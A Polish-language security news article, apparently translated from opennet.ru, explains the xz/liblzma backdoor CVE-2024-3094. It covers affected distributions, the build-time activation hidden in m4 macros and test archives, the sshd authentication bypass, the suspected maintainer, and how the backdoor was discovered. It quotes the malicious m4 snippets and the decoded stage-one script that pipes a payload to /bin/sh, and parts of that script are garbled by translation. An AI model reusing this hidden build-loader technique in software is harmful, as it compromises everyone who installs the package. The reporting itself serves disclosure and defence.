W bibliotece xz/liblzma wykryto backdoora, który umożliwia dostęp przez sshd

W pakiecie XZ Utils, który zawiera bibliotekę liblzma oraz narzędzia do pracy ze skompresowanymi danymi w formacie „.xz”, zidentyfikowano backdoora (CVE-2024-3094), który umożliwia przechwytywanie i modyfikowanie danych przetwarzanych przez aplikacje powiązane z biblioteką liblzma. Głównym celem backdoora jest serwer OpenSSH, który w niektórych dystrybucjach jest dołączony do biblioteki libsystemd, która z kolei korzysta z liblzma. Łączenie sshd z podatną na ataki biblioteką umożliwia atakującym uzyskanie dostępu do serwera SSH bez uwierzytelniania.

Backdoor był obecny w oficjalnych wydaniach 5.6.0 i 5.6.1, opublikowanych 24 lutego i 9 marca, którym udało się przedostać do niektórych dystrybucji i repozytoriów, na przykład Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide i 40-beta, fabryka openSUSE i tumbleweed, LibreELEC, Alpine Edge, Solus, niestabilny NixOS, OpenIndiana, Rolling OpenMandriva, prąd pkgsrc, prąd Slackware, testy Manjaro. Wszystkim użytkownikom wydań xz 5.6.0 i 5.6.1 zaleca się pilne przywrócenie wersji 5.4.6.

Wśród czynników łagodzących problem można zauważyć, że wersja liblzmy z backdoorem nie zdołała wejść do stabilnych wydań dużych dystrybucji, ale dotknęła openSUSE Tumbleweed i Fedorę 40-beta. Arch Linux i Gentoo korzystały z podatnej na ataki wersji zx, ale nie są podatne na ataki, ponieważ nie stosują łatki systemd-notify do openssh, która powoduje powiązanie sshd z liblzmą. Backdoor atakuje wyłącznie systemy x86_64 oparte na jądrze Linux i bibliotece Glibc C.

Kod aktywacyjny backdoora został ukryty w makrach m4 z pliku build-to-host.m4 używanego przez zestaw narzędzi automake podczas budowania. Podczas montażu, podczas wykonywania skomplikowanych, zaciemnionych operacji w oparciu o archiwa (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), służących do testowania poprawności działania, generowany był plik obiektowy ze złośliwym kodem, który był zawarty w bibliotekę liblzma i zmieniono logikę działania niektórych jej funkcji. Makra m4 aktywujące backdoora zostały zawarte w plikach tar z wydaniem, ale nie znajdowały się w repozytorium Git. Jednocześnie w repozytorium znajdowały się szkodliwe archiwa testowe, tj. osoba, która wdrożyła backdoora, miała dostęp zarówno do repozytorium, jak i do procesów generowania wydań.

Podczas korzystania z liblzma w aplikacjach złośliwe zmiany mogą zostać wykorzystane do przechwytywania lub modyfikowania danych lub wpływania na działanie sshd. W szczególności złośliwy kod sfałszował funkcję RSA_public_decrypt w celu ominięcia procesu uwierzytelniania sshd. Backdoor zawierał ochronę przed wykryciem i nie objawiał się po ustawieniu zmiennych środowiskowych LANG i TERM (tj. podczas uruchamiania procesu w terminalu) oraz gdy zmienne środowiskowe LD_DEBUG i LD_PROFILE nie były ustawione, a także był aktywowany dopiero podczas wykonywania /usr/sbin/sshd plik wykonywalny . Backdoor miał także możliwość wykrywania wykonania w środowiskach debugowania.

W szczególności plik m4/build-to-host.m4 użył gl_am_configmake=`grep -aErls „#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

W pierwszej konstrukcji operacja grep znalazła plik models/files/bad-3-corrupt_lzma2.xz, który po rozpakowaniu wygenerował skrypt: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && zakończ 0 [ ! $(uname) = "Linux" ] && zakończ 0 [ ! $(uname) = "Linux" ] && zakończ 0 [ ! $(uname) = "Linux" ] && zakończ 0 [ ! $(uname) = "Linux" ] && wyjdź 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi eksport i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F surowy —lzma1 -dc|/bin/sh ####Świat####

Nie zostało jeszcze do końca wyjaśnione, w jaki sposób atakującym udało się uzyskać dostęp do infrastruktury projektu xz. Nie jest jeszcze jasne, ilu użytkowników i projektów zostało naruszonych w wyniku działania backdoora. Domniemany autor backdoora (JiaT75 - Jia Tan), który zamieścił w repozytorium archiwa ze złośliwym kodem, korespondował z programistami Fedory i wysyłał żądania ściągnięcia do Debiana w związku z przejściem dystrybucji na gałąź xz 5.6.0, natomiast nie zrobił tego budzić podejrzeń, gdyż brał udział w xz, które rozwija się już od dwóch lat i jest drugim deweloperem pod względem liczby wprowadzonych zmian. Oprócz projektu xz rzekomy autor backdoora brał także udział w opracowywaniu pakietów xz-java i xz-embedded. Co więcej, Jia Tan kilka dni temu została uwzględniona w gronie opiekunów projektu XZ Embedded wykorzystywanego w jądrze Linuksa.

Szkodliwa zmiana została wykryta po przeanalizowaniu nadmiernego zużycia procesora i błędów generowanych przez valgrind podczas łączenia się przez ssh z systemami opartymi na Debianie sid. Warto zauważyć, że wydanie xz 5.6.1 zawierało zmiany przygotowane przez rzekomego autora backdoora w odpowiedzi na skargi dotyczące spowolnień i awarii sshd, które pojawiły się po aktualizacji do wersji zx 5.6.0 z backdoorem. Ponadto w zeszłym roku Jia Tan wprowadził zmiany, które były niezgodne z trybem inspekcji „-fsanitize=adres”, co spowodowało jego wyłączenie podczas testów rozmytych.

Źródło: opennet.ru

Dodaj komentarz